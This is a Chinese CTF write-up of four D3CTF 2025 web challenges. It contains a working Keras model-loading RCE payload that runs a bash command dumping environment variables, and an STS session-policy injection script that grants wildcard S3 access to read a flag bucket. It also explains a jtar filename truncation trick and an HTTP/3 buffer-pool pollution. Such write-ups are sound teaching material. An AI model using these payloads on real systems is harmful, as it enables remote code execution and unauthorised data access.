D3CTF 2025-WP

GSBP

前言

跟着Syc打的,web方向差一题ak,算是有点可惜了

d3model

题目内就一个app.py

import keras
from flask import Flask, request, jsonify
import os


def is_valid_model(modelname):
    try:
        keras.models.load_model(modelname)
    except Exception as e:
        print(e)
        return False
    return True

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return open('index.html').read()


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'No selected file'}), 400
    
    MAX_FILE_SIZE = 50 * 1024 * 1024  # 50MB
    file.seek(0, os.SEEK_END)
    file_size = file.tell()
    file.seek(0)
    
    if file_size > MAX_FILE_SIZE:
        return jsonify({'error': 'File size exceeds 50MB limit'}), 400
    
    filepath = os.path.join('./', 'test.keras')
    if os.path.exists(filepath):
        os.remove(filepath)
    file.save(filepath)
    
    if is_valid_model(filepath):
        return jsonify({'message': 'Model is valid'}), 200
    else:

        return jsonify({'error': 'Invalid model file'}), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5001)

代码也没啥好审的,很明显就只有一个keras.models.load_model(modelname)能当作sink点,去网上搜一下相关漏洞就能找到现成的payload,题目不出网,外带到index.html即可

https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

exp

import os
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np

model_name = "test.keras"

x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name, "r") as f:
    config = json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
    "name": "mvlttt",
    "layers": [
        {
            "name": "mvlttt",
            "class_name": "function",
            "config": "Popen",
            "module": "subprocess",
            "inbound_nodes": [{"args": [["/bin/bash", "-c", "env>>index.html"]], "kwargs": {"bufsize": -1}}]
        }],
    "input_layers": [["mvlttt", 0, 0]],
    "output_layers": [["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
    with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
        for item in zip_read.infolist():
            if item.filename != "config.json":
                zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)

with zipfile.ZipFile(model_name, "a") as zf:
    zf.writestr("config.json", json.dumps(config))

print("[+] Malicious model ready")

d3jtar

给了个war包,直接放在tomcat部署就好

题目只有一个Controller,逻辑如下

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package d3.example.controller;

import d3.example.utils.BackUp;
import d3.example.utils.Upload;
import java.io.File;
import java.io.IOException;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Objects;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView;

@Controller
public class MainController {
    public MainController() {
    }

    @GetMapping({"/view"})
    public ModelAndView view(@RequestParam String page, HttpServletRequest request) {
        if (page.matches("^[a-zA-Z0-9-]+$")) {
            String viewPath = "/WEB-INF/views/" + page + ".jsp";
            String realPath = request.getServletContext().getRealPath(viewPath);
            File jspFile = new File(realPath);
            if (realPath != null && jspFile.exists()) {
                return new ModelAndView(page);
            }
        }

        ModelAndView mav = new ModelAndView("Error");
        mav.addObject("message", "The file don't exist.");
        return mav;
    }

    @PostMapping({"/Upload"})
    @ResponseBody
    public String UploadController(@RequestParam MultipartFile file) {
        try {
            String uploadDir = "webapps/ROOT/WEB-INF/views";
            Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar"));
            String filePath = Upload.secureUpload(file, uploadDir, blackList);
            return "Upload Success: " + filePath;
        } catch (Upload.UploadException e) {
            return "The file is forbidden: " + e;
        }
    }

    @PostMapping({"/BackUp"})
    @ResponseBody
    public String BackUpController(@RequestParam String op) {
        if (Objects.equals(op, "tar")) {
            try {
                BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views"));
                return "Success !";
            } catch (IOException var3) {
                return "Failure : tar Error";
            }
        } else if (Objects.equals(op, "untar")) {
            try {
                BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar"));
                return "Success !";
            } catch (IOException var4) {
                return "Failure : untar Error";
            }
        } else {
            return "Failure : option Error";
        }
    }
}

View接口只能够渲染jsp后缀的文件

Upload接口能够上传文件,不过有些filter

BackUP能够使用jtar这个组件对webapps/ROOT/WEB-INF/views目录下的文件打包成tar或者解包

这里有个很误导的地方,也是直接导致我赛中没做出来的原因,就是view接口中的"/WEB-INF/views/" + page + “.jsp”;和BackUp接口中的webapps/ROOT/WEB-INF/views指的是同一个目录,在比赛期间由于我在Tomcat部署,目录结构如下图,所以我的想法一直都是利用某种方法来进行目录穿越操作,最后复现试了一下远程,发现两个是同一个目录,绷不住了

image-20250601192354673

upload过滤做的很严,基本不可能成功上传,加上题目提醒jtar,那么肯定是jtar这个组件有问题

jtar在打包的流程是这样的,每个要被打包的文件都是一个Entry的实例,这个Entry包含了这个文件的一些信息,比如大小,名字,权限,还有用户的名字等等

然后在TarOutputStream中利用putNextEntry将每个实例化好的Entry对象放进Stream中,最后write进文件中

这里存在漏洞的地方就在putNextEntry中

image-20250601193028746

进入writeEntryHeader

image-20250601193050427

这里获取文件名的Bytes

image-20250601193117940

将文件名的char强制转换为byte并且放到buffer里,这里会导致一种什么情况呢

java中char的大小在\u0000-\uffff之间,而byte的大小在(-127)-128之间,所以当char的值在257时,被强制转换成byte,则会变成1,即ascii码为1对应的字符

所以这里的思路也出来了,我们只需要找到超出byte大小限制的一个unicode码就行了

image-20250601194027724

image-20250601194232127

然后进行一轮tar和untar,最后得到下面这个结果

image-20250601194225183

所以解出思路大致就是这样,附一张解出图

image-20250601194345147

d3invitation

环境有两个,一个oss端,一个web端

Web端这边测api一共测出来四个

  • /api/genSTSCreds 生成AK,SK还有session_token
  • /api/putObject 拿着上面生成的凭证往储存桶里放object
  • /api/getObject 读取桶下的object
  • /invitation 没啥吊用,生成邀请函的页面

这里token我们可以解一下里面的内容

jwt.io

image-20250601200703515

可以看到一个叫sessionPolicy的东西

image-20250601200730921

定义了我们的一些policy,以及可读的权限只有我们上传的文件

那这里我们可以猜测,flag就在桶之中,我们需要获取到一定的权限去读这个flag

那我们这里需要获得一个够权限的token,要么是获得他token的key值,要么就是让他生成一个够权限的token

上面我们看到policy是一个json,这里可以尝试使用"来闭合注入

image-20250601201024318

failed了,说明闭合上了,这里是可以注入的,后续也没啥东西了我觉得,就是注入一个高权限的policy,这里我直接甩exp

from minio import Minio
from minio.error import S3Error
import requests
import json
BASE_URL = "http://35.241.98.126:31802"  # ← 改成你的目标地址
UPLOAD_FILENAME = '"],\"Action\":[\"s3:GetObject\",\"s3:PutObject\"]},{"Effect": "Allow","Action": ["s3:GetObject","s3:PutObject","s3:ListBucket","s3:ListAllMyBuckets","s3:GetBucketLocation"],"Resource": "*"}]}aaa'
UPLOAD_CONTENT = b"This is a test file from attacker."
ACCESS_KEY = ""
SECRET_KEY = ""
BUCKET_NAME = "flag"
SESSION_TOKEN=""


# Step 1: 获取临时凭证
def get_temp_creds(object_name):
    global ACCESS_KEY, SECRET_KEY, SESSION_TOKEN
    url = f"{BASE_URL}/api/genSTSCreds"
    data = {"object_name": object_name}
    resp = requests.post(url, json=data)
    resp.raise_for_status()
    print("[+] 获取临时凭证成功")
    # temp=json.loads()
    ACCESS_KEY= resp.json()['access_key_id']
    SECRET_KEY=resp.json()['secret_access_key']
    SESSION_TOKEN=resp.json()['session_token']
    return ACCESS_KEY,SECRET_KEY,SESSION_TOKEN
# MinIO server configuration
get_temp_creds(UPLOAD_FILENAME)
# Initialize the MinIO client
print(ACCESS_KEY)
print(SECRET_KEY)
print(SESSION_TOKEN)
minio_client = Minio(
    "35.241.98.126:32402",
    access_key=ACCESS_KEY,
    secret_key=SECRET_KEY,
    session_token=SESSION_TOKEN,
    secure=False
)


def download_file(object_name, download_path):
    """Download a file from the MinIO bucket."""
    try:
        minio_client.fget_object(BUCKET_NAME, object_name, download_path)
        print(f"[+] File '{object_name}' downloaded to '{download_path}'")
    except S3Error as e:
        print(f"[-] Error downloading file: {e}")

def list_objects():
    """List all objects in the MinIO bucket."""
    try:
        objects = minio_client.list_objects(BUCKET_NAME)
        print("[+] Objects in bucket:")
        for obj in objects:
            print(f"  - {obj.object_name}")
    except S3Error as e:
        print(f"[-] Error listing objects: {e}")

def list_buckets():
    """List all buckets in the MinIO server."""
    try:
        buckets = minio_client.list_buckets()
        print("[+] Buckets:")
        print(buckets)
        for bucket in buckets:
            print(f"  - {bucket.name}")
    except S3Error as e:
        print(f"[-] Error listing buckets: {e}")


list_buckets()
list_objects()
download_file("flag", "downloaded_example.txt")

tidy quic

这题考的是http3协议

先分析题目

package main

import (
	"bytes"
	"errors"
	"github.com/libp2p/go-buffer-pool"
	"github.com/quic-go/quic-go/http3"
	"io"
	"log"
	"net/http"
)

var p pool.BufferPool
var ErrWAF = errors.New("WAF")

func main() {
	go func() {
		err := http.ListenAndServeTLS(":8088", "./server.crt", "./server.key", &mux{})
		log.Fatalln(err)
	}()
	go func() {
		err := http3.ListenAndServeQUIC(":8088", "./server.crt", "./server.key", &mux{})
		log.Fatalln(err)
	}()
	select {}
}

type mux struct {
}

func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	if r.Method == http.MethodGet {
		_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
		return
	}
	if r.Method != http.MethodPost {
		w.WriteHeader(400)
		return
	}

	var buf []byte
	length := int(r.ContentLength)
	if length == -1 {
		var err error
		buf, err = io.ReadAll(textInterrupterWrap(r.Body))
		if err != nil {
			if errors.Is(err, ErrWAF) {
				w.WriteHeader(400)
				_, _ = w.Write([]byte("WAF"))
			} else {
				w.WriteHeader(500)
				_, _ = w.Write([]byte("error"))
			}
			return
		}
	} else {
		buf = p.Get(length)
		defer p.Put(buf)
		rd := textInterrupterWrap(r.Body)
		i := 0
		for {
			n, err := rd.Read(buf[i:])
			if err != nil {
				if errors.Is(err, io.EOF) {
					break
				} else if errors.Is(err, ErrWAF) {
					w.WriteHeader(400)
					_, _ = w.Write([]byte("WAF"))
					return
				} else {
					w.WriteHeader(500)
					_, _ = w.Write([]byte("error"))
					return
				}
			}
			i += n
		}
	} 
	if !bytes.HasPrefix(buf, []byte("I want")) {
		_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
		return
	}
	item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
	if bytes.Equal(item, []byte("flag")) {
		_, _ = w.Write([]byte("flfag{test}"))
	} else {
		_, _ = w.Write(item)
	}
}

type wrap struct {
	io.ReadCloser
	ban []byte
	idx int
}

func (w *wrap) Read(p []byte) (int, error) {
	n, err := w.ReadCloser.Read(p)
	if err != nil && !errors.Is(err, io.EOF) {
		return n, err
	}
	for i := 0; i < n; i++ {
		if p[i] == w.ban[w.idx] {
			w.idx++
			if w.idx == len(w.ban) {
				return n, ErrWAF
			}
		} else {
			w.idx = 0
		}
	}
	return n, err
}

func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
	return &wrap{
		rc, []byte("flag"), 0,
	}
}

我们在go中的题目主要要关注的点就是在于题目中的全局变量,这差不多是经验之谈了hh

所以我们可以看到题目中的var p pool.BufferPool,一个缓冲池

在http通信中,如果Content-Length!=-1(即没写CL头),则不会调用缓冲区来读取数据,反之则会使用

		buf = p.Get(length)
		defer p.Put(buf)

这里主要在于defer p.Put(buf),观察代码上下文也没有对已经写入了body数据的buf缓冲区进行重置清零的操作,而是直接将她放回的缓冲池,这就会导致缓冲池会出现一个被污染的状态,下一次从缓冲池中取出缓冲区也会受到这些数据的影响

第一次

image-20250602150550525

第二次

image-20250602150620439

所以我们现在的想法就是,让上次的buf影响到下次的结果

我们可以让第一次的数据为a bcde flag 第二次的为i want,这样在被污染过后就会成为i want flag,注意这里两次的请求的Content-Length都要为11,即使第二次只post了6个数据,否则取不到对应长度的buf

接下来的操作体现了http3和http2的区别

http2

省略了前面post i want flag的一步

image-20250602151342432

image-20250602151408560

结果在读取我们post的10个数据之后,读取行为并没结束,http2还在等待剩下的一位继续输入而并没有发送eof结束

image-20250602151504499

http3

image-20250602151644729

结果http3在一次读取之后就到了eof结束的地方

image-20250602151732504

image-20250602151855662

这里体现出来http2和http3的区别:http2在Content-Length比body实际长度大时,会等待一会儿的输入,来使两者相等,而http3则会更精准的检测出body的实际长度并且在body发送完毕之后迅速的发送结束流,也可以说是quic不会根据http请求包中的Content-Length来界定body的结束

image-20250602152322273

Previous post

K8slanparty WP